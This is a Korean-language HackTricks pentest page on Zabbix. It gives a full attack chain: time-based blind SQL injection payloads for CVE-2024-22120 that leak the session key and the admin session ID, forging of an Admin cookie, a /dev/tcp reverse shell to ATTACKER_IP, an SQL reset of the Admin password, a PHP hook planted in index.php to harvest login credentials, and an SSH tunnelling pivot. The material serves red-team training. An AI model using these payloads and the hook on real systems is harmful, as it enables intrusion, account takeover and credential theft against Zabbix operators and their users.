Zabbix ๋ณด์•ˆ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

Zabbix๋Š” web UI(์ผ๋ฐ˜์ ์œผ๋กœ Apache/Nginx ๋’ค)์™€ TCP/10051(server/trapper)์—์„œ Zabbix ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋Š” server ์ปดํฌ๋„ŒํŠธ ๋ฐ TCP/10050์˜ agent๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๋ชจ๋‹ˆํ„ฐ๋ง ํ”Œ๋žซํผ์ž…๋‹ˆ๋‹ค. ํ‰๊ฐ€ ์ค‘์— ๋‹ค์Œ์„ ๋งˆ์ฃผ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Web UI: zabbix.example.tld ๊ฐ™์€ HTTP(S) ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ
  • Zabbix server ํฌํŠธ: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent ํฌํŠธ: 10050/tcp

์œ ์šฉํ•œ cookie ํ˜•์‹: zbx_session์€ ์ตœ์†Œํ•œ sessionid, serverCheckResult, serverCheckTime ๋ฐ sign์„ ํฌํ•จํ•˜๋Š” compact JSON ๊ฐ์ฒด์˜ Base64์ž…๋‹ˆ๋‹ค. sign์€ JSON ํŽ˜์ด๋กœ๋“œ์˜ HMAC์ž…๋‹ˆ๋‹ค.

์ตœ๊ทผ Zabbix ๋ฒ„์ „์€ cookie๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค:

  • data JSON: {โ€œsessionidโ€:โ€œ<32-hex>โ€,โ€œserverCheckResultโ€:true,โ€œserverCheckTimeโ€:<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

global session_key์™€ ์œ ํšจํ•œ admin sessionid๋ฅผ ํšŒ์ˆ˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์˜คํ”„๋ผ์ธ์—์„œ ์œ ํšจํ•œ Admin cookie๋ฅผ ์œ„์กฐํ•ด UI์— ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2024-22120 โ€” Zabbix Server audit log์˜ time-based blind SQLi

๊ณต๊ฐœ ๋ฌธ์„œ์ƒ์˜ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋ฒ„์ „:

  • 6.0.0โ€“6.0.27, 6.4.0โ€“6.4.12, 7.0.0alpha1

์ทจ์•ฝ์  ์š”์•ฝ:

  • Script ์‹คํ–‰์ด Zabbix Server ๊ฐ์‚ฌ ๋กœ๊ทธ์— ๊ธฐ๋ก๋  ๋•Œ clientip ํ•„๋“œ๊ฐ€ ์ •ํ™”๋˜์ง€ ์•Š๊ณ  SQL์— ์ด์–ด๋ถ™์—ฌ์ ธ, server ๊ตฌ์„ฑ์š”์†Œ๋ฅผ ํ†ตํ•ด time-based blind SQLi๊ฐ€ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.
  • ์ด๋Š” ์œ ํšจํ•œ ๋‚ฎ์€ ๊ถŒํ•œ์˜ sessionid, ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ hostid, ๊ทธ๋ฆฌ๊ณ  ํ—ˆ์šฉ๋œ scriptid๋กœ ์กฐ์ž‘๋œ โ€œcommandโ€ ์š”์ฒญ์„ Zabbix server ํฌํŠธ 10051๋กœ ์ „์†กํ•จ์œผ๋กœ์จ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ „์ œ์กฐ๊ฑด ๋ฐ ๋ฐœ๊ฒฌ ํŒ:

  • sessionid: web UI์˜ guest/login์—์„œ zbx_session(Base64)์„ ๋””์ฝ”๋“œํ•˜์—ฌ sessionid๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
  • hostid: web UI ์š”์ฒญ(์˜ˆ: Monitoring โ†’ Hosts)์„ ๊ด€์ฐฐํ•˜๊ฑฐ๋‚˜ ํ”„๋ก์‹œ๋กœ ๊ฐ€๋กœ์ฑ„์„œ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค; ์ผ๋ฐ˜ ๊ธฐ๋ณธ๊ฐ’์€ 10084์ž…๋‹ˆ๋‹ค.
  • scriptid: ํ˜„์žฌ ์—ญํ• ์— ํ—ˆ์šฉ๋œ ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค; ์Šคํฌ๋ฆฝํŠธ ๋ฉ”๋‰ด/AJAX ์‘๋‹ต์„ ๊ฒ€์‚ฌํ•˜์—ฌ ํ™•์ธํ•˜์„ธ์š”. 1 ๋˜๋Š” 2 ๊ฐ™์€ ๊ธฐ๋ณธ๊ฐ’์ด ์ข…์ข… ํ—ˆ์šฉ๋˜๋ฉฐ, 3์€ ๊ฑฐ๋ถ€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Exploitation flow

  1. clientip์— SQLi๋ฅผ ํฌํ•จํ•ด ๊ฐ์‚ฌ ๋กœ๊ทธ ์‚ฝ์ž… ํŠธ๋ฆฌ๊ฑฐ
  • TCP/10051์— ์—ฐ๊ฒฐํ•˜์—ฌ request=โ€œcommandโ€œ๋ฅผ ํฌํ•จํ•œ Zabbix ํ”„๋ ˆ์ž„ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด๊ณ , sid, hostid, scriptid ๋ฐ clientip๋ฅผ ์„œ๋ฒ„๊ฐ€ ์ด์–ด๋ถ™์—ฌ ํ‰๊ฐ€ํ•  SQL ํ‘œํ˜„์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

Minimal message (JSON body) fields:

{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

์ „์ฒด ์™€์ด์–ด ํฌ๋งท์€: โ€œZBXD\x01โ€ + 8-byte little-endian length + UTF-8 JSON์ž…๋‹ˆ๋‹ค. ํ”„๋ ˆ์ด๋ฐ์—๋Š” pwntools๋‚˜ ์ž์ฒด socket ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. Time-bruteforce secrets via conditional sleep

์กฐ๊ฑด๋ถ€ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•ด ์‘๋‹ต ์‹œ๊ฐ„์„ ์ธก์ •ํ•จ์œผ๋กœ์จ hex-encoded secrets๋ฅผ ํ•œ ๊ธ€์ž์”ฉ leakํ•ฉ๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ ์ž‘๋™ํ•œ ์˜ˆ:

  • Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1)์„ sessions์—์„œ:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

์ฐธ๊ณ :

  • charset: 32 hex chars [0-9a-f]
  • Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) ๋ฐ ๊ฐ ์‹œ๋„๋งˆ๋‹ค ์‹ค์ œ ๊ฒฝ๊ณผ ์‹œ๊ฐ„์„ ์ธก์ •
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing wonโ€™t work
  1. Forge Admin cookie

Once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

์ค€๋น„๋œ ๋„๊ตฌ

  • Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
  • Parameters to provide typically include: โ€“ip (FQDN of UI), โ€“port 10051, โ€“sid (low-priv), โ€“hostid, and optionally a known โ€“admin-sid to skip brute.

์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ํ†ตํ•œ RCE (๊ด€๋ฆฌ์ž ๊ถŒํ•œ ํš๋“ ํ›„)

UI์—์„œ Admin ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ๋ชจ๋‹ˆํ„ฐ๋ง๋œ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด ๋ฏธ๋ฆฌ ์ •์˜๋œ Scripts๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—์ด์ „ํŠธ/ํ˜ธ์ŠคํŠธ๊ฐ€ ๋กœ์ปฌ์—์„œ ์Šคํฌ๋ฆฝํŠธ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉด ํ•ด๋‹น ์‹œ์Šคํ…œ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค(๋Œ€๋ถ€๋ถ„ Linux ํ˜ธ์ŠคํŠธ์—์„œ๋Š” zabbix ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰๋จ):

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

DB ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ์ฟ ํ‚ค๋ฅผ ์œ„์กฐํ•˜๋Š” ๋Œ€์‹  Admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฌธ์„œํ™”๋œ bcrypt ๊ฐ’์œผ๋กœ ์žฌ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

๋งŒ์•ฝ web UI server์—์„œ file write๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, form-based login ๋ถ„๊ธฐ ์ฃผ๋ณ€์˜ /usr/share/zabbix/index.php์— ๋กœ๊ทธ ์Šค๋‹ˆํŽซ์„ ์ž„์‹œ๋กœ ์ถ”๊ฐ€ํ•˜์—ฌ capture credentialsํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

์‚ฌ์šฉ์ž๋Š” ์ •์ƒ์ ์œผ๋กœ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค; ์ž‘์—… ํ›„ /dev/shm/creds.txt๋ฅผ ์ฝ์œผ์„ธ์š”. ์ž‘์—…์ด ๋๋‚˜๋ฉด hook์„ ์ œ๊ฑฐํ•˜์„ธ์š”.

๋‚ด๋ถ€ ์„œ๋น„์Šค๋กœ ํ”ผ๋ฒ—

์„œ๋น„์Šค ๊ณ„์ •์˜ shell์ด /usr/sbin/nologin์ด์–ด๋„, SSH authorized_keys ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•˜๊ณ  -N -L์„ ์‚ฌ์šฉํ•˜๋ฉด ๋กœ์ปฌ ํฌํŠธ ํฌ์›Œ๋”ฉ์œผ๋กœ ๋ฃจํ”„๋ฐฑ ์ „์šฉ ์„œ๋น„์Šค(์˜ˆ: 8111์˜ CI/CD)์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ssh -i key user@host -N -L 8111:127.0.0.1:8111

๋” ๋งŽ์€ ํ„ฐ๋„๋ง ํŒจํ„ด์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”: Tunneling and Port Forwarding.

์šด์˜ ํŒ

  • ํ˜„์žฌ role์— ๋Œ€ํ•ด scriptid๊ฐ€ ํ—ˆ์šฉ๋˜๋Š”์ง€ ๊ฒ€์ฆํ•˜์„ธ์š” (guest๋Š” ์ œํ•œ๋œ ์ง‘ํ•ฉ์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Œ)
  • Timing brute๋Š” ๋А๋ฆด ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋ณต๊ตฌํ•œ admin sessionid๋ฅผ ์บ์‹œํ•ด ์žฌ์‚ฌ์šฉํ•˜์„ธ์š”
  • 10051๋กœ ์ „์†ก๋˜๋Š” JSON์€ ZBXD\x01 ํ—ค๋”์™€ little-endian ๊ธธ์ด๋กœ ํ”„๋ ˆ์ด๋ฐ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ